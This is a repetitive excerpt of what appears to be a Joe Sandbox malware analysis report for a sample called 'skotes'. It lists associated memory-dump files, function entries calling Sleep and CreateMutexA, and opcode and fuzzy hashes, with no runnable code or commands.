Associated: 00000003.00000002.1498523000.00000000010AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498578030.00000000010CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498601926.00000000010CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498634012.00000000010E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498655861.00000000010E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498677003.00000000010EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498702659.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498725146.00000000010FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498757941.00000000010FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_df0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 1618ee826c1b38c8203be25d4fa0209faf3bb8ea5e9b1adeecb97825e085e1fd
Instruction ID: 4432a71ae37c157342e351a6251073cc59b3ae91e14515f7bc34820b21fb8231
Opcode Fuzzy Hash: 1618ee826c1b38c8203be25d4fa0209faf3bb8ea5e9b1adeecb97825e085e1fd
Instruction Fuzzy Hash: 5B314871B042088BEB089B7CDD8577CF7A2EF85314F24C619E519EB2D5C77699808722

Function 00DFA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00DFA963
CreateMutexA.KERNELBASE(00000000,00000000,00E53254), ref: 00DFA981

Strings

T2, xrefs: 00DFA970

Memory Dump Source

Source File: 00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DF0000, based on PE: true

Associated: 00000003.00000002.1497065195.0000000000DF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497090625.0000000000E52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497157603.0000000000E59000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497179598.0000000000E5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497201631.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497224797.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497246613.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497420411.0000000000FB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497484425.0000000000FBA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FD8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497604185.0000000000FE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497641980.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497684757.0000000000FE3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497713527.0000000000FE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497741676.0000000000FEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497762643.0000000000FF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497799064.0000000000FF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497824201.0000000000FF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497861259.0000000001009000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497909248.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497935692.0000000001031000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497974650.0000000001034000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497996215.0000000001035000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498018304.000000000103A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498062665.0000000001042000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498086719.0000000001046000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498123881.0000000001053000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498146669.0000000001054000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498195440.0000000001055000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498217944.0000000001058000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498241734.0000000001062000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498264985.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498287778.0000000001068000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498318454.000000000106B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498341509.000000000106C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498363363.0000000001070000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498384095.0000000001071000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.00000000010AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498494155.00000000010AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498523000.00000000010AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498578030.00000000010CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498601926.00000000010CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498634012.00000000010E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498655861.00000000010E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498677003.00000000010EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498702659.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498725146.00000000010FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498757941.00000000010FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_df0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: a8417e260c28ce9c53b2e3292cba6c8cb723cb2bff3b217c45440f8edbd8265f
Instruction ID: d96587a1c2a460daff9ee8e2a2ad28986756a1c8e10f89e77142723ce963f882
Opcode Fuzzy Hash: a8417e260c28ce9c53b2e3292cba6c8cb723cb2bff3b217c45440f8edbd8265f
Instruction Fuzzy Hash: 553148B17042089BEB089BBCDD85B7DB7B2DB81314F25C618E119EB3D5CB7699808722

Function 00DFA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00DFA963
CreateMutexA.KERNELBASE(00000000,00000000,00E53254), ref: 00DFA981

Strings

T2, xrefs: 00DFA970

Memory Dump Source

Source File: 00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DF0000, based on PE: true

Associated: 00000003.00000002.1497065195.0000000000DF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497090625.0000000000E52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497157603.0000000000E59000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497179598.0000000000E5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497201631.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497224797.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497246613.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497420411.0000000000FB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497484425.0000000000FBA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FD8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497604185.0000000000FE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497641980.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497684757.0000000000FE3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497713527.0000000000FE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497741676.0000000000FEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497762643.0000000000FF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497799064.0000000000FF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497824201.0000000000FF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497861259.0000000001009000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497909248.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497935692.0000000001031000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497974650.0000000001034000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497996215.0000000001035000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498018304.000000000103A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498062665.0000000001042000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498086719.0000000001046000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498123881.0000000001053000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498146669.0000000001054000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498195440.0000000001055000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498217944.0000000001058000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498241734.0000000001062000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498264985.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498287778.0000000001068000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498318454.000000000106B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498341509.000000000106C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498363363.0000000001070000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498384095.0000000001071000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.00000000010AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498494155.00000000010AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498523000.00000000010AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498578030.00000000010CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498601926.00000000010CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498634012.00000000010E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498655861.00000000010E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498677003.00000000010EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498702659.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498725146.00000000010FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498757941.00000000010FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_df0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 6c640fe5fe4ece36672f2abf4dac689c681f5beee2061103f1c053656d11d515
Instruction ID: 08680f16348b52a1480697c77cc4226d64e01d9e925ba10f5b624bab672b1422
Opcode Fuzzy Hash: 6c640fe5fe4ece36672f2abf4dac689c681f5beee2061103f1c053656d11d515
Instruction Fuzzy Hash: 5D314CB17042089BFB089B7CDD8977CB7A6AB85314F258618E108AB3D5D77659C08722

Function 00DFA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00DFA963
CreateMutexA.KERNELBASE(00000000,00000000,00E53254), ref: 00DFA981

Strings

T2, xrefs: 00DFA970

Memory Dump Source

Source File: 00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DF0000, based on PE: true

Associated: 00000003.00000002.1497065195.0000000000DF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497090625.0000000000E52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497157603.0000000000E59000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497179598.0000000000E5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497201631.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497224797.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497246613.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497420411.0000000000FB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497484425.0000000000FBA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FD8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497604185.0000000000FE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497641980.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497684757.0000000000FE3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497713527.0000000000FE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497741676.0000000000FEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497762643.0000000000FF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497799064.0000000000FF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497824201.0000000000FF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497861259.0000000001009000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497909248.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497935692.0000000001031000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497974650.0000000001034000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497996215.0000000001035000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498018304.000000000103A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498062665.0000000001042000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498086719.0000000001046000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498123881.0000000001053000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498146669.0000000001054000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498195440.0000000001055000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498217944.0000000001058000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498241734.0000000001062000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498264985.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498287778.0000000001068000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498318454.000000000106B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498341509.000000000106C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498363363.0000000001070000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498384095.0000000001071000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.00000000010AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498494155.00000000010AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498523000.00000000010AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498578030.00000000010CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498601926.00000000010CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498634012.00000000010E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498655861.00000000010E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498677003.00000000010EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498702659.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498725146.00000000010FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498757941.00000000010FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_df0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 0d6e2e49cb3b17615440036f6157985d1a71c395b513b29cfb94969450cccbb4
Instruction ID: 2acbb01ae337583fc4e9f513f08fe3f14d38074307d62233ac020cd2d2db7579
Opcode Fuzzy Hash: 0d6e2e49cb3b17615440036f6157985d1a71c395b513b29cfb94969450cccbb4
Instruction Fuzzy Hash: 5F313BB16042089BEB08ABBCDD8977DB7A2DFC1314F248218E11DAB3D5D7B559C08772

Function 00DFA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00DFA963
CreateMutexA.KERNELBASE(00000000,00000000,00E53254), ref: 00DFA981

Strings

T2, xrefs: 00DFA970

Memory Dump Source

Source File: 00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DF0000, based on PE: true

Associated: 00000003.00000002.1497065195.0000000000DF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497090625.0000000000E52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497157603.0000000000E59000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497179598.0000000000E5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497201631.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497224797.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497246613.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497420411.0000000000FB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497484425.0000000000FBA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FD8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497604185.0000000000FE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497641980.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497684757.0000000000FE3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497713527.0000000000FE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497741676.0000000000FEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497762643.0000000000FF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497799064.0000000000FF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497824201.0000000000FF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497861259.0000000001009000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497909248.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497935692.0000000001031000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497974650.0000000001034000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497996215.0000000001035000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498018304.000000000103A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498062665.0000000001042000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498086719.0000000001046000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498123881.0000000001053000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498146669.0000000001054000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498195440.0000000001055000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498217944.0000000001058000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498241734.0000000001062000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498264985.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498287778.0000000001068000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498318454.000000000106B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498341509.000000000106C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498363363.0000000001070000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498384095.0000000001071000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.00000000010AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498494155.00000000010AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498523000.00000000010AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498578030.00000000010CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498601926.00000000010CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498634012.00000000010E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498655861.00000000010E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498677003.00000000010EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498702659.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498725146.00000000010FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498757941.00000000010FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_df0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: d5cd93a8a4ed93b348c3f0b8dddf399d09f913bd7501c7dc78934edda054529c
Instruction ID: 08648effc331393be923ef6013319dd38efa33261217039f93515d45ae05da1a
Opcode Fuzzy Hash: d5cd93a8a4ed93b348c3f0b8dddf399d09f913bd7501c7dc78934edda054529c
Instruction Fuzzy Hash: 2E312AB16041088BEB08DB7CDD8577CB7A2EFC5318F25C618E559EB3D5C77599808722

Function 00DFA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00DFA963
CreateMutexA.KERNELBASE(00000000,00000000,00E53254), ref: 00DFA981

Strings

T2, xrefs: 00DFA970

Memory Dump Source

Source File: 00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DF0000, based on PE: true

Associated: 00000003.00000002.1497065195.0000000000DF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497090625.0000000000E52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497157603.0000000000E59000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497179598.0000000000E5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497201631.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497224797.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497246613.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497420411.0000000000FB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497484425.0000000000FBA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FD8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497604185.0000000000FE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497641980.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497684757.0000000000FE3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497713527.0000000000FE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497741676.0000000000FEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497762643.0000000000FF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497799064.0000000000FF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497824201.0000000000FF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497861259.0000000001009000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497909248.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497935692.0000000001031000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497974650.0000000001034000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497996215.0000000001035000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498018304.000000000103A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498062665.0000000001042000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498086719.0000000001046000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498123881.0000000001053000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498146669.0000000001054000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498195440.0000000001055000.00000080.00000001.01000000.00000007.sdmpDownload File
